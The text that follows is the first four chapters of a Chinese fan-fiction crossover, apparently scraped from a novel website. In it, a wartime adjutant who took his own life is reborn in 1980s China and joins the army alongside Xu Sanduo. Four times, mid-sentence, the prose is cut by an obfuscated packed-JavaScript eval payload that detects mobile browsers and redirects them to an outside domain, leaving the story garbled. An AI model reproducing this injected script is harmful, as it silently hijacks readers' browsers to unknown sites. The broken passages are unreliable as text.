《【士兵突击】随便》 1. 第 1 章 欧阳译上辈子死于自杀。 死的时候,他想,我也许会和团座一起,堕入枉死地狱。——这是小时候他偶然听到的一则乡野戏曲里讲的,说在神明的眼里,自杀也算是一种罪过,还是大罪,既对不起家人祖宗,也对不起见都没见过一面的皇帝大老爷。 戏里又说,自古以来,这苦都是天将降大任于斯人也,是老天给你的考验,不管这个考验又多离谱,别人能忍,你忍不了,就是你的不对。因此,不管你这辈子过得有多苦,下了地府,也还是会被鬼差拷去刀山剑海,一遍又一遍地感受着利刃穿身的苦痛,再把你放进油锅里炸上一百次,等炸脆了,再送去冰窟,反复冻上。 生前他说这个,团里的战友就笑,尤其那帮没什么文化的大老粗笑得最厉害,东倒西歪。这个说:“搁这做猪肉呢,怎么全是做菜的手法。”,那个说:“皇帝都被搞下去了,为什么要对不起。” 也有人说:“要真只有这么点惩罚,我老刘倒也愿意去闯闯,总比现在强。” 说话时,老刘的手上还裹着一圈纱布,外面看着已经污脏了,全是干涸的血夹杂着灰尘,见欧阳译的眼神落在纱布上,他反倒无所谓极了:“欧阳副官,你别担心,这是杀小日本杀的。我早死的爹妈要是知道我被人抓到这里来,结果不止杀了一个小日本,肯定在下面喊全村人替我摆酒,那场面,估计比我成亲还要热闹。” 他美滋滋的想着那些画面,因为笃定,脸上都透着一股别样的神采。 后来的事情,欧阳译就记不大清了。团座日渐消瘦和抑郁,全团人也是一天比一天更沉默,南京的电报不断发往他们这个小地方,没有人想去碰那台电报机,仿佛里头住了个吃人的魔鬼,比战场上大批的小日本更令人忌讳。 所以,在他的团座死后,欧阳译也没犹豫太久就选择了自杀。 他都想好了,乱世不能强求太多。 眼下这个世道,大概枉死地狱里也挤满了人,说不定还有几个小日本混到里头想来投胎。欧阳译看重的是那些人给他的团座准备了一个小但算不错的葬礼,连同对方最喜欢的留声机也一起埋了,在这乱世里,算是一等一的厚葬。送丧的军队凄风惨雨,有个不认识的人一直抓着欧阳译这个副官一遍遍的问他为什么? 也不算一遍遍问吧,可哪怕是想起来就问一下,也挺烦。 欧阳译奇怪的瞄了这个讲东北话的瘸子一眼:“怎么?你不懂?” “三国上第一回就说了,分久必合,合久必分。” 不过那些人斗了整整60年才斗出了一统天下,没过几天安生日子,又分了。 瘸子就不说话了,过了很久才问:“你叫什么?” “欧阳。” 说这个姓氏的时候,对方眼底闪过一丝奇异的光,这道光让欧阳译觉得不舒坦,所以他把本来不打算告诉他的全名也补齐了:“欧阳译。” 迎着对方诧异的眼神,欧阳译为了那道不舒坦的光,补全了原因:“团座说他的名字里也带一个译字,只是很久没人这么叫他。他时常叫我的名字,也算有个安慰。” 其实,欧阳译在团座的棺材入土前自杀,也是被这个说法说服的。 反正都叫阿译,也许他能蹭到团座的一分香火也说不定。 这事办得有点缺德,但他不怕被骂。 他的团座是个温柔的好人,生气都生得不伦不类。 - 缺德的事情到底还是遭报应了。 再一睁眼,却不是欧阳译想象中的十八层地狱,而是一个乱糟糟的街头。来不及打量细节,太多的嘈杂先行笼罩了他,耳边满是“信球”“鳖孙”“龟儿子”之类的话,他们的语气越是激烈,本就聚集的人群就愈发密集,突然矮了一截的欧阳译只能看见这些巨人的腿腿腿,地上的尘土也跟着被扬起,直飞进他张大的嘴里,连呵斥的话也被堵进了嗓子眼,只是徒劳的咳嗽。 他被人群推搡到了地上,稀薄的空气和嚣张的烟尘让他连自救都显得徒劳,就在欧阳译寻思枉死地狱原来就是这报复法的时候,一双布满了茧子的手突然从他腋下伸出,一把把他捞了起来,怒骂道:“你们挤什么挤!孩子都摔地上了!” 刚刚还闹得满城风雨的人群瞬间被按下了暂停键。 欧阳译还在咳,军绿色的手声音嘹亮:“这是谁家的孩子?” 仍旧没人接话。 过了两分钟,人群里才有个贼眉鼠眼的人窜出来:“解放军同志,是我的,是我的孩子。” “你的?”被放到地上,欧阳才看清抱起他的是一个穿绿色土布军装的麻花辫女人,眼神清亮,目光如剑,“他叫什么名字?几岁了?” 被问的人卡了一秒,马上笑嘻嘻的说:“他叫狗剩,是我小儿子,今年五岁了。” 说着,就要上来牵人。 结果被避开了。 “嘿!你这孩子!”贼眉鼠眼不甘心,伸手就要去抓。 欧阳虽然不清楚现在是什么情况,但待在一个救了自己的女人身边还是一个疑似拐子的男人身边,不用想都是前者,他牢牢的抓着女人的裤腿不放,周围看戏的群众也忍不住质疑对方:“这孩子细皮嫩肉的,怎么会是你孩子?” “他身上穿的比你这个当爹的还强呢。” 更有好事者直接叫破了拐子底细:“周老三,你老婆都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800484|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娶,哪来的儿子?别是梦里梦到的吧。” 这句俏皮话引来全场哄堂大笑,眼见女人的神色愈发严肃,周老三连忙退后几步:“额……我可能弄错了。我先走了。” “先跟我们一道,去派出所聊聊吧。” 女人身后又出来一个绿色军装的男人,一把就抓住了想要逃跑的周老三,利落反剪,后者只来得及发出一声惨叫。 欧阳译被女人重新抱起,手里还塞了一颗奶糖:“乖,我们现在就带你去派出所,找爸爸妈妈。” 欧阳译对奶糖兴致缺缺,作为一个成年人的灵魂,他当然不会吃陌生人的东西,哪怕这个陌生人刚刚救了他。 他跟着他们在周围人艳羡的目光中坐上了一辆单车,单车在路上慢慢推着,欧阳译忙着记路线,结果却被一直观察他的女人误以为是害怕。 “别怕,这车一点都不吓人,可好玩了。” 我为什么要怕。 欧阳译绷着脸想。别说单车,就算是汽车,货车,他也坐过,飞机也在军校学过,这世上就没有让他害怕的东西。 “这小孩不会有病吧。”男人找老乡借了根绳绑犯人,不多时也追了上来,打量着欧阳译的脸色,和女人大大咧咧的八卦:“从刚刚开始,我就没看见过他第二个表情。” “给糖也不吃。” “难道是个哑巴?” 以上言论,一直到了派出所,也还在输出中。 半蒙半猜着方言,确定了这些人是真的想帮他找到家人之后,忍无可忍的欧阳译终于开口说话了:“……不是。” “!!!” “小弟弟,你知道你家在哪吗?”女人连忙追问。 “不知道。” “呜呜呜……”还在角落被绑得结实的周老三立马激动了。 欧阳译瞥了他一眼:“但反正不会是这个。” 女人被他逗得噗嗤一笑。 “那你知道自己的名字是什么吗?小弟弟。”警察感觉这孩子不像是本地的,本地孩子普通话说不了那么好。 “……欧阳译,应该……五岁。”这是欧阳译根据派出所那个大镜子估算出的。 “先把我送孤儿院吧。”他很利索的根据刚才这些人提到的关键词,给自己安排了住处,“我不记得其他事了。” 身体还是那个身体,连掌心的红痣都没消,但看着满街的简体字,各种奇怪的招牌和打扮,他瞬间意识到世界已经不再是他认识的那个世界了。 很多年后,看电视的欧阳译才明白,这叫穿越。 但在八十年代,面对陌生的一切,他想到的,只有一件事。 先生存。 2. 第 2 章 从黄埔毕业时,给他授衔的长官对欧阳译的评价是:“我看不懂你这个人脑子里都在想什么。不过,你的能力很优秀。” 不久后,欧阳译就被派到了边陲前线作战,好听点是信任他的能力,真实一点,是不放心他脑子里那点不清不楚的东西,不如送到前线物尽其用,也不枉这么多年的栽培。 作为他们那届所有学员暗地里公认的最优秀毕业生,欧阳译无所谓,连句抱怨都没有,拿着介绍信就过去了,然后就被不太欣赏他的长官分给了团座。 他的团座曾苦笑评价道:“对于生死,我居然没有你看得开。” “我不是看得开。”欧阳译纠正对方,“我只是无所谓。” “你嘴里的无所谓,是个很可怕的事情。”团座说。 “我知道。人总要有点什么才会有黑白,立场,喜好与厌恶。”欧阳译耸肩,脸上是满不在乎,“不然,他们凭什么把我派到这里。” 团座就叹气,“我也说不好。” “现在这样,也许你才是对的。”他推开一扇小窗,怕被射击,窗口被设计得很窄,但即使大开着也看不见什么风景,这里的植被现在都变成了坑坑洼洼,枪林弹雨下,一切生物无从幸免。 硝烟味让欧阳译狼狈的呛了几声,团座连忙又把窗户关上了:“抱歉,我忘了你鼻子弱。” 欧阳译还是忍不住咳着,咳着咳着就把他咳醒了,望着有些陌生的招待所房间,他才想起他现在已经在另一个世界,并且已经在这里生活了十几年了。 他利落的从床上跳下,穿衣洗漱,打包好行李就走了下去,招待所前台的大妈看看他就热情打招呼:“小伙子,睡好了?怎么不多住几天?” “不用了,阿姨。我就是来参加个体检,住几天,再住下去,钱包里可是一点钱都没了。” “你这孩子,说得也太夸张了。” 前台阿姨并不信他是个没钱的人,没钱的人不会早几天就去住医院旁边的招待所,要的还是最好的大房,部队里来的首长都没他规格高。 衣食住行都挑剔,从不吃他们食堂,对路边那些炸得香酥的小吃看都不看一眼,自个买了口锅,拿钱给厨房借了个灶头自己煮饭,就连床上的铺盖用的都是他自带的,虽然嘴上显得很有礼貌,但整个人站在那里,就是和她见过的客人不一样,总感觉别人站他身边,无端矮了大半截。 像她以前上夜校时学的那个词,鹤什么什么鸡什么什么来着。 阿姨咂咂嘴。 听她那个在医院里面搞体检的远方亲戚说,这是个难得的大学生,还是个状元,上学还上到首都那里去了,厉害得不得了。 都说这年头大学生金贵,她平常也不觉得,见到了这个人才觉得的确是个浑身发光的金娃娃。 欧阳译不知道这个萍水相逢的阿姨是怎么想他的,就算知道了,他也不在乎。 来到这个世界之后,他就以‘疑似被拐儿童’的身份落户到了这里的孤儿院,期间不是没人来找他,也不是没人想领养他回去。但反正他父母早已经死在了百年前,寻亲的人要找的绝对不可能是他,至于来领养的,他抱着自己换下来的旧衣服在那些重要人物面前红个眼圈,说想找自己真正的家,也就解决了。 等他后面跳级考上中学,大学,能为自己做主了,也就更没人提这些事。 上辈子参军的精力不算太差也称不上好,这辈子,似乎没什么战争,欧阳译本来不打算再入伍,毕竟吃过的苦没必要非让自己再吃一次,他本打算大学毕业之后就去上海那边工作,奈何上大学时,他意外在报纸上看到了有关钢七连的报道。 报道里介绍的那首无谱的团歌,一下就勾起了他的兴趣。 报纸上说,自从那些前辈牺牲后,再没有人听过这首歌的曲调。 拿着报纸,欧阳译挑了挑眉,心想:我不是人? 但转念一想,他的确不算上是个人。 只是个在上辈子和这支队伍为敌的孤魂野鬼罢了。 顺带一提,他去了边陲一趟,发现原来的坟不见了。 他稍微有点生气。 这篇报道又把那点邪火煽了上来,成功让欧阳译打消了原本的人生设定。——在上海先买个房,再贷款买个铺面,再买几间房,之后辞职在家,一边收租一边写点回忆录,偶尔去世界各国逛逛。 好歹名字里有了一个译字,上辈子又腆着脸占了团座本来有空余的坟,欧阳译这种万事无所谓的人也难得的想在这一世报点恩。 介于穿越的事情没有先例,欧阳译自发的给自己找了个说得过去的故事。——地府人太多,可能他走了岔路,忘记喝孟婆汤就下来了。至于身段变化,统统归功成神仙手段,不去细究即可。 他想法很简单,这辈子好不容易赚了个记得,那恩情就得这辈子全部报完。 除此之外,欧阳译也的确对周围的大小事务都兴致缺缺,哪怕外头的世界日新月异,但落在欧阳译的眼眸里,受到的冲击感,还没上辈子他作为优秀学员,受邀去参加校长家的晚宴冲击大。 至少,现在的人仍旧觉得巧克力和牛排算稀奇物。买得起洋服,能每天每天办舞会的压根没有。 可在当时,这些东西是被站在顶尖那撮人所嫌弃的腻味日常。他至今还记得团座接到任务,被要求派人从边陲运送上好野味送往南京的惊讶与失望。 好在,最后这个任务被另一个团的人抢了,想回大本营,不多攒点功劳是不行的。 团座总算是没有打破他的底线,但他说:“视而不见也是一种罪过。” “阿译。”他唤他,“我以为战争赢了我就不用在这里了。” “战争还没停。”欧阳译让他听外面的炮声。 “那就更奇怪了呀。”团座用上了许久不用的上海口音,眼底闪过一丝泪花。 “为什么?为什么到现在都找不到我想要的答案呢?” “因为没人知道问题在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800485|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪。”欧阳译说。 对方也沉默了。 直到…… “问题在我。”这是死前的那一个清晨,团座和他说的第一句话。 “我错了,你们没有。” - 欧阳译无数次的想,团座对他自己未免太苛责了些。 但世道就那样,乱世乱序,说不清谁对谁错。天下兴亡,匹夫有责。有的人因为麻木所以能继续苟活,有的人太过敏锐,反而逃不开锥心刺骨的自省。 - 参军要回原户籍地,所以欧阳译回到了不太熟的小镇,他没重新回孤儿院,只是拿了些钱过去,孤儿院的院长看着他,嘴嗫嚅了几下,似乎想说点什么,但最后还是沉默的接过钱,说了声:“谢谢。” “不用谢。”欧阳译纠正她:“我在这里长大。” “你还会回来吗?”院长关切的问。 “应该不会了。” 他说着,想着这样不算太厚道,所以又从包里多拿了点钱出来,“让孩子们好好读书吧。” 他在镇里租了个还不错的房子,整理自己的东西。 也不多,大学时期赚到的积蓄,都被他用来买房了,团座老家附近的房子不算特别贵,但他喜欢的那首歌的版权就稍微贵了点,光是找到原作者的后人都费了不少功夫,歌曲被他黑胶唱片压缩成可以听的光盘,戴上耳机,朦胧凄婉的女声随着音乐前奏的结束慢慢响起。 蝴蝶儿飞去心亦不在 凄清长夜谁来拭泪满腮 是贪点儿依赖贪一点儿爱 旧缘该了难了换满心哀 怎受得住这头猜 那边怪 人言汇成愁海辛酸难捱 天给的苦 给的灾都不怪 千不该万不该芳华怕孤单 林花儿谢了连心也埋 他日春燕归来身何在 …… 欧阳译撑着腮,眸光渐黯。 - 与此同时,医院旁边的招待所。 702团这次负责招兵的钢七连班长史今和红三连指导员何洪涛打了个照面就各自回屋了。 他们两个一个是这次的新兵排排长,一个是这次的新兵连指导员。 按理来说,应该要好好坐在一起喝杯酒的。 奈何两个人这次出门,都担负了卧底的任务,称得上是心怀鬼胎。 所以连住一间房,都有点勉强。 何洪涛一进门就迫不及待的给三连长打电话:“老三,这次的新兵里,有个好苗子,你一定要想办法拿住!别又被七连跟个土匪似的抢走了!” 史今心里还藏着许三多的事,但给连长打的电话里,他主要说的是另一个人:“连长,新兵里有个人叫欧阳译,是个大学生,听说还是什么双学位呢,金融和电脑……这个人要是不拉跨,绝对是一匹天马……连长你放心,就算他训练不行,我和伍六一也一定想办法给他训好了!绑也要绑到钢七连!” 3. 第 3 章 欧阳译并不知道自己还没进部队,就被两个连预定了。 报到那天,他穿着军装,准时到了火车站。 还没上车呢,就被一个老汉拽住了胳膊带着:“首长好啊,首长,你是这里的领导吧,领导好呀。” “不,我……”欧阳译都不知道对方什么眼神,他身上明明还带着新兵才有的大红花。 没等他说完,拽着他的老汉转头就给后面一直垂着头的小尾巴狠狠的踢了一脚,嘴里还骂骂咧咧的:“你个龟儿子,出门前我怎么说的,让你在领导面前好好表现,现在你净搁这现眼来了。” 被他这么一踹,又勒住衣领扯到跟前,一直垂着头的小孩才弱弱的和欧阳译打招呼:“领导好……” 老汉气得直跳脚:“你个龟儿子!部队里大的官都是首长!首长知不知道?” “首……” “老伯,不是这样的。”眼看这边动静越来越大,欧阳译连忙纠正,“你看我身上和您儿子一样都背着行李,戴着一样的花,我当然也是和他一样的新兵,怎么会是领导呢?” 至于首长这个词,他敢喊,欧阳译都实在是说不出口。 “哦,不是首长,是新兵啊。”操着一口浓重的方言,老汉一点叫错人的尴尬都没有,和他那个恨不得钻进地缝里的孩子完全两个模样,“新兵也好啊。” 他脸上的褶子都扬起来了,“刚刚你一站这里,我就看出你这个娃儿以后会有大出息,我这个龟儿实在不争气,连招呼都不会打,你们同属一个新兵连,以后记得多照顾照顾他。” 欧阳译:“……” 即使两世为人,见多了人情世故,但这么顺溜开启新话题却仍旧围绕着旧中心的人,也实在不多见。 在听说他是新兵后,老汉儿子的脸终于偷偷扬起了一点点,但欧阳译一偏头,他又立马垂了下去,过了两秒觉得不对,又悄悄抬起,露了个笑脸,又飞快的缩回去了。 从头到尾,欧阳译都只记得那两排雪白的牙齿。 “我儿叫许三多,他。” 还没介绍完,站台就有人拿着大喇叭提醒了:“列车即将出发,请我们的新战士回到队列中去!”“列车即将出发,请我们的新战士回到队列中去!” “哎呀,怎么就到这个点了,你那班长还没找到捏。” 许老汉马上顾不得和欧阳译说话了,满心满眼都是他的儿子:“快快,给爹看看,你衣服穿好了没?穿得整齐不。” 欧阳译趁此机会赶紧进入了开始成形的队列。 他长得高,又站前排,家访时见过的金丝眼镜何指导员一看到他就两眼放光,做贼似的看看周围,然后都顾不上手里的喇叭了,随便往其他人手里一塞,就三步并做两步走到他面前:“欧阳译,我们又见面了。” “指导员。”穿上了军装,欧阳译便已然进入了状态,举手朝对方敬了个标准的礼。 何洪涛乐得合不拢嘴,“所以我说嘛,这高材生就是高材生,和别人一点都不一样,几天不见,你连敬礼都学会了,还这么标准,不错不错。” 然后,像是想验证什么,他忽然就板起脸,低声喝道:“立正!” “稍息!” “立正!” “向左……不对,搞错了。” 对方动作太过熟稔,带得他都进入状态了,火车鸣笛,何洪涛猛地撤回一个指令。 欧阳译维持着他最后一个未完成指令的姿势,一动不动的等他发号施令。 “可以了可以了。放松放松。”何洪涛拍拍他的肩膀,力道轻得像是在摸什么大宝贝,看他的眼神都是拉丝的,“你现在还没进军营呢,新兵嘛,不用那么紧张。” 欧阳译收回了动作,但仍旧站得笔直。 别的新兵身上的军装打扮虽然整齐,但看得出是未受过训练的社会人士,而欧阳译的军装打扮不但整齐,更自带一股军人的气场,像一把开鞘的利刃,锋芒外露,挡都挡不住。 何洪涛是越看越满意,也越看越发愁,本来只是对欧阳译的学历满意,短暂接触下来印象也不错,但眼下,他恨不得带着人另搭一辆火车,秘密送进他们红三连,把人关到新兵训练结束再放出来。 好苗子怎么就这么藏不住呢。这军姿军容让七连长高城看了还了得。那个人别的不爱,最爱收集好兵了,恨不得全团,全师的好兵苗子都是他的。 偏偏这次带新兵连的就是钢七连的人,这可怎么办。 何洪涛感觉自己藏在帽子里的稀疏头发,刷的一下又掉了不少。 在盯紧和假装不在意两个选项里,何洪涛没犹豫多久。 他岳丈喜欢炒股,最爱说的一句话是:“抄底要快!” 何洪涛不炒股,但在此时,也感受到了来自股市的智慧启迪。 所以,等人上车后,趁着史今还在安排其他人,他特地把欧阳译安排到了离他最近的座位,刚想和他聊聊家里长短,拉进点距离,就听后面车厢吵起来了,隐约能听见“杀了你”“打他”之类的话语。 “怎么回事?” 就算眼前是个难见的好苗子,可新兵队伍里出了事情不能不管,这群新兵,名字叫兵,事实上却还没受到过任何训练,还是一群社会人的思维,何洪涛越想越不放心,赶紧跑了过去。 其他新兵也好奇的看向闹哄哄的地方,爱瞧热闹向来是人类的天性。 只有欧阳译充耳不闻,从包里拿出了耳机还有最近在看的书,火车上没什么能消遣的活动,等到了新兵连估计每天都要训练,书也不知道会不会被收走,还是抓紧时间趁现在看吧。 后面车厢虽然还有骚动,但那些骂街的话已经停了,新兵们很快就知道了事情原委:听说是两个新兵的父母在大街上和小混混干架,被新兵从窗户里看见了,现在事情已经解决,指导员和排长都在那边忙着教育人。 这事太普通,也没夹杂着什么不得不提的狗血,围观群众的兴致来得快,去得也快,嗡嗡嗡一阵后回到了正常秩序。 欧阳译感觉肩膀被人戳了一下。 他疑惑抬头,旁边那个新兵一脸谄笑的看着他,嘴也一张一合的。 欧阳译摘下了耳机,重新戴好了自己的帽子。 “兄弟,你是在听歌吗?” 这年头,随身听是个稀罕物,在这个偏远的小县城里,更是只有少量人才有。 “我没有听歌。” 欧阳译扯出耳机的尾巴给他们看,“车厢有点吵,我想安静的看会书。” “什么书啊?” 那个新兵把眼睛放到了欧阳译放膝盖的书上,吃力的念着封面的字:“陆军……炮兵……防空兵……军事地形指导?”每个字都认识,但读起来就觉得很陌生,有种不明觉厉的感觉。 “牛啊。”他夸他,又带了点好奇,“其实刚刚你一上车我就注意到你了,指导员让我们都按座位坐,只有你被他单独拎出来坐这里了,你是他亲戚?你家里有首长?” 此话一出,欧阳译注意到周围的窃窃私语都变小了。 “我和指导员没什么关系,家里也没人在部队。”欧阳译平静解释,“他会额外照顾我,可能因为我是孤儿院出身。当时正好是指导员对我做的家访。” 他身边那个大兄弟的嘴立马张得比鸡蛋还大,“……兄弟,不好意思,你看我这嘴,乱说。”说着就要扇自己耳光。 “别。”欧阳译连忙拉住了他:“指导员对我的确很照顾,你不清楚所以有一些猜测很正常。” “不好意思啊。”对方顺势放下手,但语气还是讪讪。 “不要紧,我从小也没缺衣少食,身边人对我很好,所以这不是什么要紧的事。” “哦。”他闷闷的说了一句,又好奇起了欧阳译手里的书:“你怎么会看这个?” “都要加入部队了,总要提前了解一下这只队伍。”对方好奇的目光有如实质,没了看书环境的欧阳译干脆把书大方递了过去,“你想看?” “我翻一下,翻一下。”新兵连忙拿手在衣服上擦了两下,这才小心翼翼的接过欧阳译手里的书,奈何才看到序,他就有点想睡觉:“这书都说什么呀。”一个词比一个词复杂。 “现代地形战略简述,以及作者对信息科技未来运用的一些思路。”欧阳译露出了今天的第一个微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800486|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“有些地方说得还挺对。” 他当时只想学点金融早点买房,但看见周围的科技日新月异,敏锐的欧阳译又去找学校申请多读了一个电脑专业,刚入读时,全世界都有千年虫的谣言,他的很多老师同学也觉得他疯了,但事实证明,千年虫的谣言纯属子乌虚有。 而在研学了四年的计算机之后,欧阳译也完全不怀疑未来会是信息化的时代,电脑这种在科技前沿的产物,以后一定会进入千家万户,而在战场上,也一定会取代人力,运用到更多地方。 “……还给你,你继续看吧。”被高深的知识打倒,无法消化的新兵连问下一个问题的想法都没了。 “谢谢。”欧阳译把书拿回来,摘下帽子,打算重新戴回耳机。 “你直接把耳机戴在帽子上不就完了。”人家忍不住好心提醒。“摘摘戴戴的多麻烦啊。” “我想,军容应该不允许。” 说完这句,欧阳译再度戴上了耳机,刚找到刚才那页,还没看几个字,又被人拍肩膀了,“快摘下!指导员和排长都来了!” “……” 那一刻,欧阳译的心情崩溃无比。 他只好再度摘下耳机,戴上帽子,把闲杂物品飞快收到旁边。 刚做好这一切,他们的排长史今以及指导员何洪涛也来了,身后还跟着一个看起来局促不安的新兵。 “刘强。”何洪涛喊道。 “我在。”欧阳译身边的新兵连忙站起。 “你起来,和这位许三多同志换个位置。” 何洪涛也懒得纠正这个新兵的用词了,反正到了部队,一切都有人教。 他现在心累的是后面跟着的这个,看上去闷得慌,怎么交谈也只会点头或者擦眼泪,但刚才看见自己父亲被打了又想着要冲下车教训人,史今拦了好一会才平息。 作为专门负责思想教育的指导员,何洪涛在部队里见过各式各样的人,小伙子虽然看着憨厚,但刚刚眼睛里那股愤怒也是真的,他怕再出问题,干脆就把人给带过来了,放眼皮底下看着,总比看不见好。 “好的。”刘强连忙点头,要去拿上方的行李,欧阳译喊了声报告后便站起来帮忙。 “你就和这个欧阳译同志坐一起,好吧,指导员我也在。有什么问题,可以直接问我。”何洪涛对身后的许三多说,见他一直低着头,语气又温柔了不少,跟哄孩子似的。 绿色帽檐在温言细语下怯怯的抬起,在看见旁边的欧阳译时,心情低落的许三多瞪大了眼。 “你们认识?”他的表情太好猜了。何洪涛问。 “报告,我们在进站的时候有过一点交集。” 所谓交集,就是许老汉强拉着人家胳膊不放,在知道对方不是长官之后,又很快放了手。 许三多想到刚才那一幕,头就更低了。 “认识就好。”何洪涛大喜过望,“来来来,三多,你快点把行李放上去。” “我来吧。”看对方个子不高,欧阳译上去搭了把手。 本想上前帮忙的史今在他们身后停下了动作,神情舒缓了不少。 “对,战友之间就是要互帮互助嘛。”何洪涛也很满意,看欧阳译更顺眼了。 有了刚才善意的帮忙,许三多似乎没有那么沮丧了,欧阳译也还挺满意,许三多胆子小,不敢和人说话,在车上,只对他说了谢谢,就再也没其他声音了,做什么都是蹑手蹑脚的,固然有性格原因,也是害怕打扰他看书。 欧阳译为了表示感谢,还找指导员借了本小说,拿给他那个不知道要做什么的邻座:“你先拿去看吧。” 结果对方没收:“那个……俺……俺爹说……干这种事情没意义。” 欧阳译愣了一下,从善如流的收回了手,“抱歉。” “你稍等一下。” 他找指导员去换了本小册子。虽然搞得指导员满头雾水。 “看这个吧。”欧阳译把小册子递给对方:“这是内务条例,以后大家都要学的,你可以提前预习。” 这本书,许三多收下了,欧阳译也听到了谢谢之外的另一个句子:“你是个好人。” 4. 第 4 章 说这话的时候,许三多终于抬起了他的脑袋,一张纯真和淳朴还有很多小心翼翼混杂在一起的脸映入了欧阳译的眼帘,终于冲刷走了那顶土绿色军帽和大白牙的记忆。 “我终于见到你真面目了。” 欧阳译半是感慨半是玩笑的说道,本意只是缓和气氛,但立马就让许三多黑白分明的大眼睛里露出了诚惶诚恐的表情。 “……我就是随便说一句,你好好看书吧。” 没想到这个未来战友的胆子能小成这样,一句话就能让他草木皆兵,欧阳译暗恨自己多嘴,明知道对方胆子小还乱说。但另一方面,他又觉得把许三多招录进部队的人很不靠谱。 就这胆子,这表现,怎么能把人送进封闭的军营呢? 许三多父亲一看就是望子成龙,生怕部队对他儿子不好,才会在车站外头到处乱找人,打的就是能照顾一点就是一点的主意,但问题是,一个人想要立起来,光靠外人是没有用的。不然,这世界上也无需什么大教育家,光靠空想就足以成事了。 欧阳译在心里摇了摇头,面上却没表现出什么。各人有各人的活法,他这辈子只想管好自己,多余的人一概不想理会。 他观察着许三多,殊不知这个看上去有点呆的农村孩子也在偷偷观察他。 今天早上去车站的时候,他爹就盯上欧阳译了,一个劲的说:“那个兵看上去有出息,龟儿子你要跟着他混。” 许三多拗不过他爹,但心里又带着几分抗拒:“爹,他是我战友,俺们,俺们都是一样的。” “谁跟你一样。”这话刚落音,就引来许百顺暴躁的一巴掌,“你看他那腰板笔直笔直的,一看就和别人不一样,这种人,估计家里就有当兵的。没准,还是个当大官的。” “待会列队,你就和他站一起知不知道?” 许三多脑袋摇得像拨浪鼓:“爹,这不中,队伍里排队都是按身高排的,我和成才站一起咧。” “成才?”许百顺眼前浮现出一个鬼精鬼精的少年模样,那股讨厌的人精味,和他那个村长爹几乎是一模一样。 他当即就说:“不中,你跟成才那娃混,什么时候能讨到好了?每次都是他去偷鸡摸狗,把锅盖在你头上。你被那个瓜娃子骗去墓地的次数还少啊?” “你听爹的,不要找成才,跟着那个人。” 小老百姓的生存智慧在许百顺身上体现得淋漓尽致,他此时此刻恨不得把自己的魂塞到龟儿子那根本没有的心眼里,可惜办不到,因此,只能趁着还没上车,能教一点就是一点:“待会,爹帮你打个样,等上车了,你再找个机会跟他说点啥。” “说……说啥?” “你个龟儿子,说啥还要我来教你!你就问他吃饭没,累不累,要不要你帮忙。他不说,但是事情你还是要帮他做好了,做好了,在战场上他才能帮你挡子弹。” “爹!我为啥要别人帮我挡子弹?”许三多瞪大了眼,在他爹的瞪视下,头慢慢的缩了回去,但仍旧很小声的和他爹说:“我自己可以上。” “你上鬼啊上。”许百顺气得又扇了他脑门一下,“你看见那炮弹准能晕过去,这胆子还上。” 许三多心里稍微有点不服,他很想说,你明知道我不是当兵的料,那你为什么不让我继续上学? 可这样的念头,在他心里只是一闪而过,像他爹掉在地上的烟灰,风一吹就散了,从掉落到吹散,都没人会注意,烟灰自己也不会。 对愿意给他一次机会,告诉他他不是龟儿子的史今班长,许三多和他爹说的是大实话:“我帮班长挡子弹。”而对于他爹千叮咛万嘱咐的欧阳译,他打心底里羡慕他。 许三多不是傻子,他闷,但是有些微妙的东西,反而是闷的人才能看清。亲爹打量欧阳译时的讨好和激动,指导员对欧阳译别样的轻声细语,又或者是欧阳译本身那种让他钦慕的淡定从容,这些细微的东西都构成了他对欧阳译的第一印象。就连现在,他偷偷看着闭眼睡觉,肩背却仍旧笔挺的欧阳译,默默捏紧了手里的内务条例。 他睡了,他就别睡了,像爹说的那样,帮他看着行李,防小偷。正好可以背书。虽然书上的东西,他只是看得懂,却不太理解。 这种自觉并不完全出自爹的吩咐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800487|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 